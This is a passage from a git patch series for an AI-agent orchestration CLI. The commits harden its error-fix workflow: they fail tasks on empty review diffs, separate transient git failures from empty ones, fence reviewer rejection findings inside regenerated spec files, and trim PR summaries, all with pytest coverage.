narration ahead of the terminal report is normal, expected + model output (the review contract says reports must "end with" the + block, not "consist solely of" it) — rejecting on any preamble text + would false-fail near-universally on legitimate reports. + """ + text = ( + "Let me walk through the diff section by section and check each " + "changed file against the review dimension before concluding.\n" + "\n" + "STATUS: complete\n" + "FINDINGS: none\n" + ) + assert has_single_terminal_report(text) is True + + def test_has_single_terminal_report_rejects_example_plus_real() -> None: """Early example STATUS/FINDINGS plus a real report → unparseable.""" text = ( diff --git a/tests/test_run.py b/tests/test_run.py index 2be501f..753757a 100644 --- a/tests/test_run.py +++ b/tests/test_run.py @@ -901,6 +901,40 @@ def fake_push(*, cwd: str, runner, expected_branch=None): # type: ignore[no-unt assert _checklist(tmp_path, tid)["pushed"] != "ja" +def test_pushed_fails_loudly_on_error_id_without_error_fix_confirmed( + tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch +) -> None: + """payload.error_id without a confirmed error.fix activity must not get + the unattended auto-push shortcut (non-None expected_branch). Writing the + payload directly bypasses error-fix bootstrap, so error_fix_confirmed + stays False — same gate as chain.is_error_fix_originated.""" + tid = _bootstrap_implement(tmp_path, capsys) + _advance_to_pushed(tmp_path, tid, capsys, monkeypatch) + + store = _store(tmp_path) + try: + task = store.row("task", tid) + assert task is not None + task["payload"] = {"error_id": "abc123def456"} + store.write("task", "update", tid, task) + finally: + store.close() + + called = {"n": 0} + + def fake_push(*, cwd: str, runner, expected_branch=None): # type: ignore[no-untyped-def] + called["n"] += 1 + return "abc1234" + + monkeypatch.setattr("agent_cli.git_act.push_branch", fake_push) + with pytest.raises(SystemExit) as exc: + run(tmp_path, ["run", "--task", tid]) + capsys.readouterr() + assert "error_fix_confirmed" in str(exc.value.code) + assert called["n"] == 0 + assert _checklist(tmp_path, tid)["pushed"] != "ja" + + def _bootstrap_resolve(home: Path, capsys: pytest.CaptureFixture[str]) -> str: run(home, ["init"]) run( @@ -1076,6 +1110,37 @@ def test_interpret_lane_rejects_multiple_report_blocks() -> None: assert decision == "retry" +def test_interpret_lane_accepts_preamble_before_clean_report() -> None: + """Reasoning narration before a clean STATUS/FINDINGS block still passes. + + Covers the gap left by reverting the preamble-emptiness check in + has_single_terminal_report: legitimate reasoning narration ahead of an + otherwise clean terminal report must still resolve to "pass". + """ + from agent_cli.lane import LaneResult + from agent_cli.run_core import _interpret_lane + + stdout = ( + "Let me walk through the diff section by section and check each " + "changed file against the review dimension before concluding.\n" + "\n" + "STATUS: complete\n" + "FINDINGS: none\n" + ) + result = LaneResult( + role="reviewer", + vendor="grok", + status="complete", + argv=["grok"], + returncode=0, + stdout=stdout, + stderr="", + ) + decision, findings = _interpret_lane("reviewer", result) + assert decision == "pass" + assert findings is None + + def test_reviewer_gets_distinct_review_spec_with_diff_and_contract( tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch ) -> None: From 1ab2cad6bd4a1a642d588d3b1c3a622ecff988d8 Mon Sep 17 00:00:00 2001 From: Daniel Padrino Date: Wed, 2 Sep 2026 14:00:53 -0300 Subject: [PATCH 11/47] Fail the task on empty-review-diff instead of looping forever EmptyReviewDiffError's handler only marked the in-flight agent unavailable; nothing set task.state=failed, so the same error-fix task was re-selected by every subsequent scan and hit the identical empty diff again -- an unbounded retry loop with no round-cap applying (the cap is only consulted on rejection resets, a different path). The handler now also calls _check_record(result="fail"), the same mechanism the round-cap-exhaustion path already uses to reach a terminal state. Also, in priority order: - PR-gate rejection findings now get folded into a regenerated .spec.md for the next round instead of being silently dropped, so retries aren't blind repeats of an already-rejected diff. - template_pr_open_payload interpolates only the brief's first sentence into the EN/DE PR summary (full brief stays in
), so a multi-sentence brief can't push the summary past CONTRIBUTING.md's 4-sentence cap. - The auto-generated spec.md no longer claims the four PR-review gate keys can be n_a; only contributing_ok/deviation_* actually can be, per allow.py's N_A_ALLOWED. Co-Authored-By: Claude Sonnet 5 Claude-Session: https://claude.ai/code/session_017TZHqRN57WvdUXvYdmLVZe --- src/agent_cli/fixer_act.py | 36 +++++++- src/agent_cli/run_core.py | 10 +++ tests/test_fixer_act.py | 174 +++++++++++++++++++++++++++++++++++++ 3 files changed, 217 insertions(+), 3 deletions(-) diff --git a/src/agent_cli/fixer_act.py b/src/agent_cli/fixer_act.py index 58b860a..11e2c30 100644 --- a/src/agent_cli/fixer_act.py +++ b/src/agent_cli/fixer_act.py @@ -7,6 +7,7 @@ from __future__ import annotations +import re import uuid from collections.abc import Callable from pathlib import Path @@ -24,6 +25,17 @@ # Bound the per-task step loop (rounds × spine length, with headroom). _MAX_STEPS_PER_TASK = 40 +_SENTENCE_BOUNDARY_RE = re.compile(r"(?<=[.!?])\s+") + + +def _first_sentence(text: str) -> str: + """Return the first sentence of text, split on '. '/'!'/'?' boundaries.""" + stripped = text.strip() + if not stripped: + return "" + match = _SENTENCE_BOUNDARY_RE.search(stripped) + return stripped[: match.start()] if match else stripped + def _error_fix_brief(store: Store, session_id: str, error_id: str) -> str | None: """Return payload.brief from the session's error.fix row for this error_id.""" @@ -51,6 +63,7 @@ def write_error_fix_spec( error_id: str, session_id: str, repo: str, + rejection_feedback: str | None = None, ) -> Path: """Write a five-part spec under $AGENT_HOME/error-fix-work//.spec.md.""" seen = _error_seen(store, session_id, error_id) @@ -64,6 +77,11 @@ def write_error_fix_spec( parent = Path(store.home) / "error-fix-work" / tid parent.mkdir(mode=0o700, parents=True, exist_ok=True) path = parent / ".spec.md" + rejection_section = ( + f"# Prior Rejection Feedback\n\n{rejection_feedback}\n\n" + if rejection_feedback + else "" + ) body = ( f"# Context\n\n" f"- repo: `{repo}`\n" @@ -74,6 +92,7 @@ def write_error_fix_spec( f"- class: `{class_name}`\n\n" f"# Task\n\n" f"{brief or '(no brief provided)'}\n\n" + f"{rejection_section}" f"# Constraints\n\n" f"- Patch only what the brief requires.\n" f"- Do not commit secrets, credentials, or raw production log lines.\n" @@ -85,7 +104,8 @@ def write_error_fix_spec( f"# Definition of Done\n\n" f"- Spec implemented and inner reviewer approved.\n" f"- Local checks pass; branch pushed; draft PR opened.\n" - f"- Four PR-review gates approved on this head (or allowed n_a).\n" + f"- Four PR-review gates approved on this head.\n" + f"- Contributing-doc check and any declared deviation resolved (allowed n_a where applicable).\n" ) path.write_text(body, encoding="utf-8") return path @@ -110,15 +130,16 @@ def template_pr_open_payload( if len(suffix) > 72: suffix = suffix[:69] + "..." title = f"{session_id[:8]} - {suffix}" + brief_summary = _first_sentence(brief) if brief else "" en = ( f"Automated error-fix for `{fingerprint or short}` in `{repo}`. " f"Draft only; a human merges. " - f"Brief: {brief[:200] if brief else 'see task spec'}." + f"Brief: {brief_summary[:200] if brief_summary else 'see task spec'}." ) de = ( f"Automatischer error-fix für `{fingerprint or short}` in `{repo}`. " f"Nur Entwurf; ein Mensch merged. " - f"Brief: {brief[:200] if brief else 'siehe Task-Spec'}." + f"Brief: {brief_summary[:200] if brief_summary else 'siehe Task-Spec'}." ) details = ( f"
\n" @@ -587,6 +608,15 @@ def _drive_one( # rejection keeps key="reviewer_approved" and does not reset pushed. if outcome.key != "reviewer_approved": head = None + if error_id and repo and outcome.rejection_findings: + write_error_fix_spec( + store, + tid, + error_id=error_id, + session_id=session_id, + repo=repo, + rejection_feedback=outcome.rejection_findings, + ) continue if outcome.kind in ("closed", "agent_closed"): diff --git a/src/agent_cli/run_core.py b/src/agent_cli/run_core.py index f726ed5..89bf29b 100644 --- a/src/agent_cli/run_core.py +++ b/src/agent_cli/run_core.py @@ -85,6 +85,7 @@ class RunOutcome: close_evidence: str | None = None verdict: str | None = None # approved|rejected|done|… when an agent finished message: str | None = None + rejection_findings: str | None = None def _checklist_set(tid: str, key: str, status: str, *, evidence: str | None = None) -> None: @@ -627,6 +628,8 @@ def _finish_agent_fail( ) out.lane_result = result out.key = step.key + if out.kind == "rejected_new_round": + out.rejection_findings = evidence return out @@ -1073,6 +1076,13 @@ def execute_spine_step( ) if working is not None: _agent_finish(str(working["id"]), "unavailable", note=str(exc)) + _check_record( + tid=tid, + name="empty-review-diff", + command=f"role={role} vendor={vendor}", + result="fail", + output=str(exc), + ) return RunOutcome( kind="failed", key=step.key, diff --git a/tests/test_fixer_act.py b/tests/test_fixer_act.py index 1195304..6f42e3b 100644 --- a/tests/test_fixer_act.py +++ b/tests/test_fixer_act.py @@ -251,6 +251,10 @@ def test_write_error_fix_spec_omits_raw_log_fields(tmp_path: Path) -> None: assert secret_excerpt not in text assert secret_message not in text assert secret_stack not in text + assert "gates approved on this head (or allowed n_a)" not in text + assert "Four PR-review gates approved on this head." in text + assert "allowed n_a where applicable" in text + assert "Contributing-doc check" in text or "deviation" in text.lower() finally: store.close() @@ -745,6 +749,33 @@ def test_template_pr_open_payload_title_and_body() -> None: assert len(expected_suffix) == 72 +def test_template_pr_open_payload_brief_first_sentence_only() -> None: + """Visible EN/DE summaries keep only the first brief sentence (CONTRIBUTING cap).""" + brief = ( + "Fix the retry loop. Also harden the timeout path. And add a regression test." + ) + payload = template_pr_open_payload( + session_id="sess-12345678", + repo="org/app", + error_id="bbbbbbbb-bbbb-bbbb-bbbb-bbbbbbbbbbbb", + brief=brief, + fingerprint="fp-1", + ) + body = str(payload["body"]) + en_start = body.index("EN:\n") + len("EN:\n") + en_end = body.index("\n\nDE:") + en_summary = body[en_start:en_end] + de_start = body.index("DE:\n") + len("DE:\n") + de_end = body.index("\n\n
") + de_summary = body[de_start:de_end] + assert "Fix the retry loop." in en_summary + assert "Also harden the timeout path" not in en_summary + assert "Also harden the timeout path" not in de_summary + assert "Also harden the timeout path" in body + assert sum(en_summary.count(c) for c in ".!?") <= 4 + assert sum(de_summary.count(c) for c in ".!?") <= 4 + + def test_runner_to_completed_honors_cwd(tmp_path: Path) -> None: completed = _runner_to_completed( lambda _argv: Completed(1, "", "runner-should-not-run"), @@ -953,6 +984,96 @@ def fake_rtc(runner, argv, *, cwd=None): # type: ignore[no-untyped-def] assert str(approved_gq[-1].get("head_sha") or "").lower() == shas[1] +def test_rejection_feedback_rewritten_into_spec( + tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch +) -> None: + """A rejected PR-gate round must rewrite .spec.md with Prior Rejection Feedback.""" + tid = _bootstrap_error_fix_task(tmp_path, capsys) + _advance_error_fix_to_pushed(tmp_path, tid, capsys, monkeypatch) + + shas = [ + "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb", + ] + push_calls = {"n": 0} + rejects = {"n": 0} + findings_marker = "fix the retry loop specifically" + + def fake_push(*, cwd: str, runner, expected_branch=None): # type: ignore[no-untyped-def] + i = push_calls["n"] + push_calls["n"] += 1 + return shas[min(i, len(shas) - 1)] + + def fake_launch(**kwargs): # type: ignore[no-untyped-def] + role = str(kwargs.get("role") or "") + vendor = str(kwargs.get("vendor") or "grok") + if ( + role == "pr-reviewer-quality" + and vendor == "grok" + and rejects["n"] == 0 + ): + rejects["n"] += 1 + return LaneResult( + role=role, + vendor=vendor, + status="complete", + argv=[vendor], + returncode=0, + stdout=f"STATUS: complete\nFINDINGS:\n- {findings_marker}\n", + stderr="", + ) + return LaneResult( + role=role, + vendor=vendor, + status="complete", + argv=[vendor], + returncode=0, + stdout="STATUS: complete\nFINDINGS: none\n", + stderr="", + ) + + def fake_rtc(runner, argv, *, cwd=None): # type: ignore[no-untyped-def] + if argv[:2] == ["git", "rev-parse"] and "HEAD" in argv: + return Completed(0, shas[min(push_calls["n"], len(shas) - 1)] + "\n", "") + if "diff" in argv: + if "--name-only" in argv: + return Completed(0, "src/foo.py\n", "") + return Completed(0, "diff --git a/src/foo.py b/src/foo.py\n+fixed\n", "") + if "rev-parse" in argv or "merge-base" in argv: + return Completed(0, "abcdef1\n", "") + if argv and argv[0] == "pytest": + return Completed(0, "ok\n", "") + return Completed(0, "", "") + + monkeypatch.setattr("agent_cli.git_act.push_branch", fake_push) + monkeypatch.setattr("agent_cli.run_core.launch", fake_launch) + monkeypatch.setattr("agent_cli.fixer_act._runner_to_completed", fake_rtc) + monkeypatch.setattr( + "agent_cli.fixer_act.insert_pr_open_and_scan", + _fake_insert_pr_open_and_scan, + ) + + store = _store(tmp_path) + try: + task = store.row("task", tid) + assert task is not None + _drive_one( + store, + task, + runner=lambda argv: Completed(0, "", ""), + round_cap=5, + lane_runner=None, + ) + finally: + store.close() + + spec_text = (tmp_path / "error-fix-work" / tid / ".spec.md").read_text( + encoding="utf-8" + ) + assert "# Prior Rejection Feedback" in spec_text + assert findings_marker in spec_text + + def test_fixer_pr_gate_rejection_clears_head_before_next_step( tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch ) -> None: @@ -1058,6 +1179,17 @@ def test_fixer_inner_reviewer_rejection_keeps_head( tid = _bootstrap_error_fix_task(tmp_path, capsys) _advance_error_fix_to_pushed(tmp_path, tid, capsys, monkeypatch) + def fake_rtc(runner, argv, *, cwd=None): # type: ignore[no-untyped-def] + if "diff" in argv: + if "--name-only" in argv: + return Completed(0, "src/foo.py\n", "") + return Completed(0, "diff --git a/src/foo.py b/src/foo.py\n+fixed\n", "") + if "rev-parse" in argv or "merge-base" in argv: + return Completed(0, "abcdef1\n", "") + return Completed(0, "", "") + + monkeypatch.setattr("agent_cli.fixer_act._runner_to_completed", fake_rtc) + pushed_sha = "cccccccccccccccccccccccccccccccccccccccc" real_ensure = fixer_mod._ensure_done_readiness real_execute = fixer_mod.execute_spine_step @@ -1420,3 +1552,45 @@ def fake_drive_one(store, task, runner, *, round_cap, lane_runner=None): # type assert "scan-error" in lines[0] assert "SystemExit" in lines[0] assert lines[1] == f"error-fix-work {second_tid} done" + + +def test_empty_review_diff_fails_task_and_stops_reselection( + tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch +) -> None: + """EmptyReviewDiffError must fail the task so the next scan does not re-select it.""" + tid = _bootstrap_error_fix_task(tmp_path, capsys) + _finish_implementer(tmp_path, tid, capsys) + + monkeypatch.setattr( + "agent_cli.fixer_act._runner_to_completed", + lambda runner, argv, *, cwd=None: Completed(0, "", ""), + ) + + store = _store(tmp_path) + try: + lines1 = drive_error_fix_tasks( + store, + runner=lambda argv: Completed(0, "", ""), + round_cap=5, + lane_runner=None, + ) + finally: + store.close() + + assert _task_state(tmp_path, tid) == "failed" + assert any(tid in line for line in lines1) + agents_after_first = len(_agents(tmp_path, tid)) + + store = _store(tmp_path) + try: + lines2 = drive_error_fix_tasks( + store, + runner=lambda argv: Completed(0, "", ""), + round_cap=5, + lane_runner=None, + ) + finally: + store.close() + + assert all(tid not in line for line in lines2) + assert len(_agents(tmp_path, tid)) == agents_after_first From e1918785aaeba63c7e6b0b187358a819029b211f Mon Sep 17 00:00:00 2001 From: Daniel Padrino Date: Wed, 2 Sep 2026 14:30:35 -0300 Subject: [PATCH 12/47] Distinguish transient git-probe failure from a genuinely empty review diff _collect_review_diff now reports whether every diff-producing git probe actually succeeded. A non-zero returncode (lock file, disk hiccup, bad cwd) no longer looks identical to "git ran fine, diff is empty" -- it raises a new ReviewDiffUnavailableError that leaves the task untouched for the next scan to retry, the same shape as the existing vendor_unavailable path. A genuinely empty diff still permanently fails the task via the prior round's EmptyReviewDiffError fix. Also, in priority order: - Rejection findings spliced into a regenerated .spec.md are now extracted from the FINDINGS: section (reusing the same parser count_findings already uses) and backtick-fenced, so untrusted rejection text can't reshape the spec's structure. - _contributing_ok_evidence now requires verdict==approved and a head_sha match before citing a gate as approved, and raises instead of writing a literal "missing" into the evidence text for a stale or absent gate. - Review prompt cites file:line only (drops the stray bilingual label). - is_error_fix_originated and _open_error_fix_tasks use the same _nonempty_str() normalization the rest of the error-fix path already applies to error_id. - First-sentence extraction for the PR summary no longer treats a period after a common abbreviation (Dr., e.g., etc.) as a sentence boundary. Co-Authored-By: Claude Sonnet 5 Claude-Session: https://claude.ai/code/session_017TZHqRN57WvdUXvYdmLVZe --- src/agent_cli/chain.py | 5 +- src/agent_cli/fixer_act.py | 82 +++++++++++++--- src/agent_cli/lane.py | 36 +++++-- src/agent_cli/run_core.py | 61 +++++++++--- tests/test_chain.py | 6 ++ tests/test_fixer_act.py | 196 ++++++++++++++++++++++++++++++++++++- tests/test_lane.py | 30 ++++++ tests/test_run.py | 47 ++++++++- 8 files changed, 425 insertions(+), 38 deletions(-) diff --git a/src/agent_cli/chain.py b/src/agent_cli/chain.py index 8574c1e..a6a7e5e 100644 --- a/src/agent_cli/chain.py +++ b/src/agent_cli/chain.py @@ -254,10 +254,13 @@ def is_error_fix_originated(snapshot: dict[str, Any] | None) -> bool: an error.seen / error.skip without error.fix must not get the spec_written script carve-out. """ + from .error_fix_act import _nonempty_str + if not isinstance(snapshot, dict): return False payload = snapshot.get("payload") - if not isinstance(payload, dict) or not payload.get("error_id"): + raw = payload.get("error_id") if isinstance(payload, dict) else None + if not isinstance(payload, dict) or not _nonempty_str(raw): return False return bool(snapshot.get("error_fix_confirmed")) diff --git a/src/agent_cli/fixer_act.py b/src/agent_cli/fixer_act.py index 11e2c30..ad87879 100644 --- a/src/agent_cli/fixer_act.py +++ b/src/agent_cli/fixer_act.py @@ -15,7 +15,7 @@ from .chain import close_allowed, is_error_fix_originated, next_steps from .error_fix_act import _error_seen, _nonempty_str, _repo_ok -from .lane import Runner as LaneRunner +from .lane import Runner as LaneRunner, extract_findings_text from .runtime import Completed from .run_core import DEFAULT_ROUND_CAP, RunOutcome, execute_spine_step from .store import Store, StoreError @@ -26,15 +26,50 @@ _MAX_STEPS_PER_TASK = 40 _SENTENCE_BOUNDARY_RE = re.compile(r"(?<=[.!?])\s+") +# Longer forms first so "Mrs" wins over "Mr" on endswith checks. +_ABBREVIATIONS = ("Mrs", "e.g", "i.e", "etc", "Dr", "Mr", "vs") + + +def _ends_with_abbrev(prefix: str) -> bool: + """True when prefix ends with a denylisted abbreviation (word-bounded).""" + for abbr in _ABBREVIATIONS: + if not prefix.endswith(abbr): + continue + start = len(prefix) - len(abbr) + if start == 0 or not prefix[start - 1].isalnum(): + return True + return False def _first_sentence(text: str) -> str: - """Return the first sentence of text, split on '. '/'!'/'?' boundaries.""" + """Return the first sentence of text, split on '. '/'!'/'?' boundaries. + + Periods after common abbreviations (e.g., Dr., vs.) are not boundaries. + """ stripped = text.strip() if not stripped: return "" - match = _SENTENCE_BOUNDARY_RE.search(stripped) - return stripped[: match.start()] if match else stripped + for match in _SENTENCE_BOUNDARY_RE.finditer(stripped): + punct_pos = match.start() - 1 + if punct_pos >= 0 and stripped[punct_pos] == ".": + if _ends_with_abbrev(stripped[:punct_pos]): + continue + return stripped[: match.start()] + return stripped + + +def _fence_marker(text: str) -> str: + """Backtick fence one longer than the longest run inside text (min 3).""" + longest = 0 + run = 0 + for ch in text: + if ch == "`": + run += 1 + if run > longest: + longest = run + else: + run = 0 + return "`" * max(3, longest + 1) def _error_fix_brief(store: Store, session_id: str, error_id: str) -> str | None: @@ -77,11 +112,15 @@ def write_error_fix_spec( parent = Path(store.home) / "error-fix-work" / tid parent.mkdir(mode=0o700, parents=True, exist_ok=True) path = parent / ".spec.md" - rejection_section = ( - f"# Prior Rejection Feedback\n\n{rejection_feedback}\n\n" - if rejection_feedback - else "" - ) + if rejection_feedback: + extracted = extract_findings_text(rejection_feedback) + content = extracted if extracted else rejection_feedback + fence = _fence_marker(content) + rejection_section = ( + f"# Prior Rejection Feedback\n\n{fence}\n{content}\n{fence}\n\n" + ) + else: + rejection_section = "" body = ( f"# Context\n\n" f"- repo: `{repo}`\n" @@ -257,25 +296,42 @@ def _close_spec_written(store: Store, tid: str, *, evidence: str) -> None: def _contributing_ok_evidence(snap: dict[str, Any]) -> str: - """Cite approved PR-gate records already in the ledger (vendor/dim/verdict@head).""" + """Cite approved PR-gate records already in the ledger (vendor/dim/verdict@head). + + Only rows with verdict==approved on the snapshot's current head_sha count + (same head scoping as chain._latest_gate). Missing/unapproved pairs raise + StoreError instead of writing a literal "missing" into evidence. + """ want = ( ("grok", "quality"), ("grok", "logic"), ("codex", "quality"), ("codex", "logic"), ) + want_head = str(snap.get("head_sha") or "").strip().lower() by_key: dict[tuple[str, str], dict[str, Any]] = {} for g in snap.get("gates") or []: if not isinstance(g, dict): continue + if str(g.get("verdict") or "") != "approved": + continue + g_head = str(g.get("head_sha") or "").strip().lower() + if g_head != want_head: + continue vendor = str(g.get("vendor") or "") dim = str(g.get("dimension") or "") by_key[(vendor, dim)] = g + missing = [f"{vendor}/{dim}" for vendor, dim in want if (vendor, dim) not in by_key] + if missing: + raise StoreError( + "approved PR gates missing or not on current head: " + + ", ".join(missing) + ) parts: list[str] = [] head = "" for vendor, dim in want: - g = by_key.get((vendor, dim)) or {} - verd = str(g.get("verdict") or "missing") + g = by_key[(vendor, dim)] + verd = str(g.get("verdict") or "") sha = str(g.get("head_sha") or "") if sha and not head: head = sha @@ -386,7 +442,7 @@ def _open_error_fix_tasks(store: Store) -> list[dict[str, Any]]: if state in ("done", "failed"): continue payload = row.get("payload") - if not isinstance(payload, dict) or not payload.get("error_id"): + if not isinstance(payload, dict) or not _nonempty_str(payload.get("error_id")): continue out.append(row) out.sort(key=lambda r: str(r.get("id") or "")) diff --git a/src/agent_cli/lane.py b/src/agent_cli/lane.py index 7afe70e..e13e3b7 100644 --- a/src/agent_cli/lane.py +++ b/src/agent_cli/lane.py @@ -67,18 +67,11 @@ def has_single_terminal_report(text: str) -> bool: return status_n == 1 and findings_n == 1 -def count_findings(text: str) -> int: - """Count non-empty FINDINGS entries. Empty / 0 / none → 0. - - Absent FINDINGS: header also returns 0; callers that must distinguish - "explicitly zero" from "unparseable" should use findings_header_present(). - - Calibrated to the grok-reviewer / codex-reviewer report contract: - STATUS / REASON / SCOPE / DIMENSION / FINDINGS / NOT-VERIFIABLE / GAPS. - """ +def _findings_body_lines(text: str) -> list[str] | None: + """Return FINDINGS-section body lines, or None when no FINDINGS: header.""" match = _FINDINGS_HEADER_RE.search(text) if match is None: - return 0 + return None same_line = (match.group(1) or "").strip() after = text[match.end() :] body_lines: list[str] = [] @@ -88,6 +81,29 @@ def count_findings(text: str) -> int: if _FINDINGS_TERMINATOR_RE.match(line): break body_lines.append(line) + return body_lines + + +def extract_findings_text(text: str) -> str: + """Return the raw FINDINGS-section body (no bullet stripping), or ''.""" + body_lines = _findings_body_lines(text) + if body_lines is None: + return "" + return "\n".join(body_lines).strip() + + +def count_findings(text: str) -> int: + """Count non-empty FINDINGS entries. Empty / 0 / none → 0. + + Absent FINDINGS: header also returns 0; callers that must distinguish + "explicitly zero" from "unparseable" should use findings_header_present(). + + Calibrated to the grok-reviewer / codex-reviewer report contract: + STATUS / REASON / SCOPE / DIMENSION / FINDINGS / NOT-VERIFIABLE / GAPS. + """ + body_lines = _findings_body_lines(text) + if body_lines is None: + return 0 entries = 0 for raw in body_lines: stripped = raw.strip() diff --git a/src/agent_cli/run_core.py b/src/agent_cli/run_core.py index 89bf29b..b099138 100644 --- a/src/agent_cli/run_core.py +++ b/src/agent_cli/run_core.py @@ -53,6 +53,10 @@ class EmptyReviewDiffError(Exception): """Raised by build_review_spec_file when the collected diff is empty.""" +class ReviewDiffUnavailableError(Exception): + """Raised when a git probe failed while collecting the review diff.""" + + # Checklist keys reset when a PR-reviewer dimension is rejected (new head). _PR_REJECT_RESET_KEYS = ( "implementer_done", @@ -269,8 +273,13 @@ def _interpret_lane( def _collect_review_diff( cwd: str, exec_argv: ExecArgv -) -> tuple[str, list[str]]: - """Materialize unified diff + changed paths against a base branch.""" +) -> tuple[str, list[str], bool]: + """Materialize unified diff + changed paths against a base branch. + + The third return value is True only when every diff-producing git probe + that actually ran exited 0. The base-ref rev-parse search is excluded — + a missing candidate ref is expected control flow, not a probe failure. + """ base_ref: str | None = None for candidate in _BASE_CANDIDATES: completed = exec_argv(["git", "rev-parse", "--verify", candidate], cwd=cwd) @@ -279,18 +288,26 @@ def _collect_review_diff( break chunks: list[str] = [] paths: list[str] = [] + probes_ok = True if base_ref is not None: mb = exec_argv(["git", "merge-base", "HEAD", base_ref], cwd=cwd) + mb_rc = int(getattr(mb, "returncode", 1)) + if mb_rc != 0: + probes_ok = False base_sha = str(getattr(mb, "stdout", "") or "").strip() - if int(getattr(mb, "returncode", 1)) == 0 and base_sha: + if mb_rc == 0 and base_sha: range_spec = f"{base_sha}...HEAD" diff = exec_argv(["git", "diff", range_spec], cwd=cwd) - if int(getattr(diff, "returncode", 1)) == 0: + if int(getattr(diff, "returncode", 1)) != 0: + probes_ok = False + else: text = str(getattr(diff, "stdout", "") or "") if text.strip(): chunks.append(text) names = exec_argv(["git", "diff", "--name-only", range_spec], cwd=cwd) - if int(getattr(names, "returncode", 1)) == 0: + if int(getattr(names, "returncode", 1)) != 0: + probes_ok = False + else: paths.extend( p.strip() for p in str(getattr(names, "stdout", "") or "").splitlines() @@ -298,12 +315,16 @@ def _collect_review_diff( ) for argv_extra in (["HEAD"], ["--cached"]): diff = exec_argv(["git", "diff", *argv_extra], cwd=cwd) - if int(getattr(diff, "returncode", 1)) == 0: + if int(getattr(diff, "returncode", 1)) != 0: + probes_ok = False + else: text = str(getattr(diff, "stdout", "") or "") if text.strip(): chunks.append(text) names = exec_argv(["git", "diff", "--name-only", *argv_extra], cwd=cwd) - if int(getattr(names, "returncode", 1)) == 0: + if int(getattr(names, "returncode", 1)) != 0: + probes_ok = False + else: paths.extend( p.strip() for p in str(getattr(names, "stdout", "") or "").splitlines() @@ -316,7 +337,7 @@ def _collect_review_diff( if p not in seen: seen.add(p) unique_paths.append(p) - return "\n".join(chunks), unique_paths + return "\n".join(chunks), unique_paths, probes_ok def build_review_spec_file( @@ -330,9 +351,13 @@ def build_review_spec_file( exec_argv: ExecArgv, ) -> str: """Write a four-part review prompt under $AGENT_HOME/review-work//; return its path.""" - diff_text, changed_paths = _collect_review_diff(cwd, exec_argv) + diff_text, changed_paths, probes_ok = _collect_review_diff(cwd, exec_argv) if not diff_text.strip(): - raise EmptyReviewDiffError("empty review diff") + if probes_ok: + raise EmptyReviewDiffError("empty review diff") + raise ReviewDiffUnavailableError( + "git probe failed while collecting the review diff" + ) parent = Path(store.home) / "review-work" / tid parent.mkdir(mode=0o700, parents=True, exist_ok=True) round_bit = round_num if round_num is not None else 0 @@ -385,7 +410,7 @@ def build_review_spec_file( f"`STATUS: complete` and nothing is wrong.\n\n" f"Do not execute software — no tests, builds, package managers, shells, " f"or project scripts. Read/Grep/Glob only. Cite every finding with " - f"`Datei:Zeile` / `file:line`. If a judgment needs a test run, put the " + f"`file:line`. If a judgment needs a test run, put the " f"command under NOT-VERIFIABLE instead of running it.\n" ) spec_path.write_text(body, encoding="utf-8") @@ -1090,6 +1115,20 @@ def execute_spine_step( reason=str(exc), message=str(exc), ) + except ReviewDiffUnavailableError as exc: + # External/transient git failure — leave task untouched for retry + # (same shape as vendor_unavailable in _retry_launch_once). + working = main_mod._find_working_agent( + store, tid, role=role, vendor=vendor, round_num=round_num + ) + if working is not None: + _agent_finish(str(working["id"]), "unavailable", note=str(exc)) + return RunOutcome( + kind="vendor_unavailable", + key=step.key, + reason=str(exc), + message=str(exc), + ) except OSError: working = main_mod._find_working_agent( store, tid, role=role, vendor=vendor, round_num=round_num diff --git a/tests/test_chain.py b/tests/test_chain.py index 61d5c69..c8a779b 100644 --- a/tests/test_chain.py +++ b/tests/test_chain.py @@ -430,6 +430,12 @@ def test_error_fix_carve_out_needs_confirmed_fix(self) -> None: ) self.assertTrue(allowed.allowed) + snap_whitespace_id = { + "payload": {"error_id": " "}, + "error_fix_confirmed": True, + } + self.assertFalse(is_error_fix_originated(snap_whitespace_id)) + def test_error_fix_deviation_n_a_script_carve_out(self) -> None: """Confirmed error-fix may script-author deviation_* only as n_a.""" cl = _pending("implement") diff --git a/tests/test_fixer_act.py b/tests/test_fixer_act.py index 6f42e3b..17dff53 100644 --- a/tests/test_fixer_act.py +++ b/tests/test_fixer_act.py @@ -10,8 +10,11 @@ import pytest from agent_cli.fixer_act import ( + _contributing_ok_evidence, _drive_one, _error_fix_brief, + _first_sentence, + _open_error_fix_tasks, _pr_open_row_exists, _runner_to_completed, drive_error_fix_tasks, @@ -21,7 +24,7 @@ from agent_cli.git_act import GitActError from agent_cli.lane import LaneResult, findings_header_present from agent_cli.runtime import Completed -from agent_cli.store import Store +from agent_cli.store import Store, StoreError from test_cli import _last_task_id, run from test_run import ( _agents, @@ -259,6 +262,80 @@ def test_write_error_fix_spec_omits_raw_log_fields(tmp_path: Path) -> None: store.close() +def test_write_error_fix_spec_fences_rejection_findings(tmp_path: Path) -> None: + """Injected FINDINGS body must not become top-level markdown/spec structure.""" + store = _store(tmp_path) + try: + store.write( + "activity", + "insert", + ERROR_ID, + { + "id": ERROR_ID, + "session_id": "sess-1", + "type": "error.seen", + "payload": { + "fingerprint": "api|TimeoutError|abc|prod", + "repo": "org/app", + "service": "api", + "environment": "prod", + "class": "TimeoutError", + }, + "execution_status": "done", + }, + ) + store.write( + "activity", + "insert", + "fix-1", + { + "id": "fix-1", + "session_id": "sess-1", + "type": "error.fix", + "payload": { + "error_id": ERROR_ID, + "fingerprint": "api|TimeoutError|abc|prod", + "brief": "Timeout in handler; add retry.", + }, + "execution_status": "pending", + }, + ) + rejection = ( + "STATUS: complete\n" + "FINDINGS:\n" + "- # Constraints\n" + "- STATUS: complete\n" + "- real finding about auth.py:12\n" + "NOT-VERIFIABLE:\n" + "- skip\n" + ) + tid = str(uuid.uuid4()) + path = write_error_fix_spec( + store, + tid, + error_id=ERROR_ID, + session_id="sess-1", + repo="org/app", + rejection_feedback=rejection, + ) + text = 